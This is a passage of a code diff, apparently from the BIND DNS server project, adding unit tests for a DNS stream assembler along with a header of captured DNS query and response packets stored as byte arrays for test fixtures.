+		isc_buffer_forward(&dnsbuf, sz);
+	}
+
+	assert_true(packetno == npackets);
+	assert_true(isc_dnsstream_assembler_remaininglength(dnsasm) == 0);
+	assert_true(isc_buffer_remaininglength(&dnsbuf) == 0);
+
+	isc_buffer_clearmctx(&dnsbuf);
+	isc_buffer_invalidate(&dnsbuf);
+	dnsasm->cbarg = NULL; /* to make GCC happy about dangling pointers */
+}
+
+ISC_RUN_TEST_IMPL(dnsasm_clear_buffer_within_cb_test) {
+	isc_dnsstream_assembler_t *dnsasm = (isc_dnsstream_assembler_t *)*state;
+	verify_cbdata_t cbdata = { 0 };
+	size_t verified = 0;
+	isc_buffer_t dnsbuf;
+
+	isc_buffer_init(&dnsbuf, NULL, 0);
+	isc_buffer_setmctx(&dnsbuf, mctx);
+
+	isc_buffer_putmem(&dnsbuf, (void *)request, sizeof(request));
+	isc_buffer_putmem(&dnsbuf, (void *)&response, sizeof(response));
+	isc_buffer_putmem(&dnsbuf, (void *)request, sizeof(request));
+	cbdata.cont_on_success = true;
+	cbdata.clear_on_success = true;
+
+	cbdata.verify_message = (uint8_t *)request;
+	isc_dnsstream_assembler_setcb(dnsasm, verify_dnsmsg, (void *)&cbdata);
+	isc_dnsstream_assembler_incoming(dnsasm, &verified,
+					 isc_buffer_current(&dnsbuf),
+					 isc_buffer_remaininglength(&dnsbuf));
+
+	isc_buffer_clearmctx(&dnsbuf);
+	isc_buffer_invalidate(&dnsbuf);
+
+	assert_true(verified == 1);
+	assert_true(isc_dnsstream_assembler_result(dnsasm) == ISC_R_UNSET);
+
+	assert_true(isc_dnsstream_assembler_remaininglength(dnsasm) == 0);
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(dnsbuffer_generic_test, setup_test_dnsbuf,
+		      teardown_test_dnsbuf)
+ISC_TEST_ENTRY_CUSTOM(dnsbuffer_resize_alloc_test, setup_test_dnsbuf,
+		      teardown_test_dnsbuf)
+ISC_TEST_ENTRY_CUSTOM(dnsbuffer_be_test, setup_test_dnsbuf,
+		      teardown_test_dnsbuf)
+ISC_TEST_ENTRY_CUSTOM(dnsasm_sequence_test, setup_test_dnsasm,
+		      teardown_test_dnsasm)
+ISC_TEST_ENTRY_CUSTOM(dnsasm_multiple_messages_test, setup_test_dnsasm,
+		      teardown_test_dnsasm)
+ISC_TEST_ENTRY_CUSTOM(dnsasm_torn_apart_test, setup_test_dnsasm,
+		      teardown_test_dnsasm)
+ISC_TEST_ENTRY_CUSTOM(dnsasm_error_data_test, setup_test_dnsasm,
+		      teardown_test_dnsasm)
+ISC_TEST_ENTRY_CUSTOM(dnsasm_torn_randomly_test, setup_test_dnsasm,
+		      teardown_test_dnsasm)
+ISC_TEST_ENTRY_CUSTOM(dnsasm_clear_buffer_within_cb_test, setup_test_dnsasm,
+		      teardown_test_dnsasm)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/dnsstream_utils_test_data.h b/tests/isc/dnsstream_utils_test_data.h
new file mode 100644
index 0000000000..e9e0ba060c
--- /dev/null
+++ b/tests/isc/dnsstream_utils_test_data.h
@@ -0,0 +1,602 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+#pragma once
+
+static const char request[] = { /* Packet 12 */
+				0x00, 0x1c, 0x28, 0x0d, 0x01, 0x00, 0x00, 0x01,
+				0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x67,
+				0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x03, 0x63, 0x6f,
+				0x6d, 0x00, 0x00, 0x01, 0x00, 0x01
+};
+static const char response[] = {
+	/* Packet 14 */
+	0x00, 0x37, 0x28, 0x0d, 0x81, 0x80, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	0x00, 0x01, 0x06, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x03, 0x63, 0x6f,
+	0x6d, 0x00, 0x00, 0x01, 0x00, 0x01, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	0x00, 0x00, 0x01, 0x2c, 0x00, 0x04, 0x8e, 0xfb, 0x27, 0x6e, 0x00, 0x00,
+	0x29, 0x04, 0xd0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+};
+
+static char request_large[] = { /* Packet 4 */
+				0x00, 0x2a, 0x15, 0x45, 0x01, 0x00, 0x00, 0x01,
+				0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x63,
+				0x6d, 0x74, 0x73, 0x31, 0x2d, 0x64, 0x68, 0x63,
+				0x70, 0x09, 0x6c, 0x6f, 0x6e, 0x67, 0x6c, 0x69,
+				0x6e, 0x65, 0x73, 0x03, 0x63, 0x6f, 0x6d, 0x00,
+				0x00, 0x01, 0x00, 0x01
+};
+static char response_large
+	[] = { /* Packet 6 */
+	       0x18, 0x1a, 0x15, 0x45, 0x81, 0x80, 0x00, 0x01, 0x01, 0x7f, 0x00,
+	       0x00, 0x00, 0x00, 0x0a, 0x63, 0x6d, 0x74, 0x73, 0x31, 0x2d, 0x64,
+	       0x68, 0x63, 0x70, 0x09, 0x6c, 0x6f, 0x6e, 0x67, 0x6c, 0x69, 0x6e,
+	       0x65, 0x73, 0x03, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x01, 0x00, 0x01,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x4a, 0xdd, 0x2f, 0x1c, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x46, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x4a, 0xdd, 0x2f, 0x52, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x15, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a,
+	       0xdd, 0x2f, 0x56, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xe5, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd,
+	       0x2f, 0x1d, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xc9, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb,
+	       0x57, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1,
+	       0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x0d, 0xc0, 0x0c, 0x00, 0x01, 0x00,
+	       0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x63,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x4a, 0xdd, 0x2f, 0xa9, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xde, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x4a, 0xdd, 0x2f, 0x6f, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xc1, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a,
+	       0xdd, 0x2f, 0x59, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xa2, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd,
+	       0x2f, 0x2b, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x65, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb,
+	       0x6c, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1,
+	       0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x2e, 0xc0, 0x0c, 0x00, 0x01, 0x00,
+	       0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x5a,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x4a, 0xdd, 0x2f, 0x61, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x79, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x4a, 0xdd, 0x2f, 0x3b, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x4a, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a,
+	       0xdd, 0x2f, 0xa6, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x35, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd,
+	       0x2f, 0x06, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x49, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb,
+	       0x54, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1,
+	       0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x39, 0xc0, 0x0c, 0x00, 0x01, 0x00,
+	       0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x5e,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x4a, 0xdd, 0x2f, 0x83, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xef, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x4a, 0xdd, 0x2f, 0x91, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x3e, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42,
+	       0xac, 0xdb, 0x08, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xb5, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd,
+	       0x2f, 0x89, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x42, 0xac, 0xe2, 0x84, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f,
+	       0xd3, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1,
+	       0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xc8, 0xc0, 0x0c, 0x00, 0x01, 0x00,
+	       0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x51,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x42, 0xac, 0xdb, 0x69, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x03, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x42, 0xac, 0xdb, 0x17, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x15, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a,
+	       0xdd, 0x2f, 0xc4, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x5b, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd,
+	       0x2f, 0x94, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xbd, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f,
+	       0x2c, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1,
+	       0x00, 0x04, 0x42, 0xac, 0xdb, 0x2b, 0xc0, 0x0c, 0x00, 0x01, 0x00,
+	       0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x09,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x42, 0xac, 0xdb, 0x10, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x13, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x42, 0xac, 0xdb, 0x48, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x2d, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42,
+	       0xac, 0xdb, 0x0b, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x4c, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac,
+	       0xdb, 0x11, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x13, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb,
+	       0x5c, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1,
+	       0x00, 0x04, 0x42, 0xac, 0xdb, 0x25, 0xc0, 0x0c, 0x00, 0x01, 0x00,
+	       0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x0d,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x42, 0xac, 0xdb, 0x5b, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x55, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x42, 0xac, 0xdb, 0x1c, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x97, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42,
+	       0xac, 0xe2, 0x82, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x31, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd,
+	       0x2f, 0x3f, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xe7, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f,
+	       0x9d, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1,
+	       0x00, 0x04, 0x42, 0xac, 0xdb, 0x42, 0xc0, 0x0c, 0x00, 0x01, 0x00,
+	       0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x32,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x42, 0xac, 0xdb, 0x3d, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xe2, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x4a, 0xdd, 0x2f, 0xf9, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x76, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a,
+	       0xdd, 0x2f, 0xb3, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xb4, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac,
+	       0xdb, 0x28, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xfa, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f,
+	       0xa5, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1,
+	       0x00, 0x04, 0x42, 0xac, 0xdb, 0x4f, 0xc0, 0x0c, 0x00, 0x01, 0x00,
+	       0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xb9,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x4a, 0xdd, 0x2f, 0xbf, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x4d, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x42, 0xac, 0xdb, 0x43, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x14, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42,
+	       0xac, 0xdb, 0x04, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x66, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd,
+	       0x2f, 0xd9, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x19, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f,
+	       0x98, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1,
+	       0x00, 0x04, 0x42, 0xac, 0xdb, 0x37, 0xc0, 0x0c, 0x00, 0x01, 0x00,
+	       0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x0c,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x4a, 0xdd, 0x2f, 0x4d, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x27, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x42, 0xac, 0xdb, 0x58, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x76, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42,
+	       0xac, 0xdb, 0x38, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x4c, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac,
+	       0xdb, 0x0a, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xc2, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb,
+	       0x55, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1,
+	       0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x9c, 0xc0, 0x0c, 0x00, 0x01, 0x00,
+	       0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xa1,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x42, 0xac, 0xdb, 0x56, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x60, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x4a, 0xdd, 0x2f, 0x8f, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x61, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42,
+	       0xac, 0xdb, 0x68, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x81, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd,
+	       0x2f, 0x8e, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xad, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f,
+	       0x74, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1,
+	       0x00, 0x04, 0x42, 0xac, 0xdb, 0x44, 0xc0, 0x0c, 0x00, 0x01, 0x00,
+	       0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0xb7,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x42, 0xac, 0xdb, 0x41, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
+	       0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x3a, 0xc0,
+	       0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04,
+	       0x42, 0xac, 0xdb, 0x3c, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00,
+	       0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x0e, 0xc0, 0x0c,
+	       0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a,
+	       0xdd, 0x2f, 0xdf, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
+	       0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x67, 0xc0, 0x0c, 0x00,
+	       0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd,
+	       0x2f, 0x99, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d,
+	       0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x03, 0xc0, 0x0c, 0x00, 0x01,
+	       0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x4a, 0xdd, 0x2f,
+	       0xd1, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1,
+	       0x00, 0x04, 0x4a, 0xdd, 0x2f, 0x70, 0xc0, 0x0c, 0x00, 0x01, 0x00,
+	       0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00, 0x04, 0x42, 0xac, 0xdb, 0x07,
+	       0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x0d, 0xf1, 0x00,
+	       0x04, 0x42, 0xac, 0xdb, 0x77, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
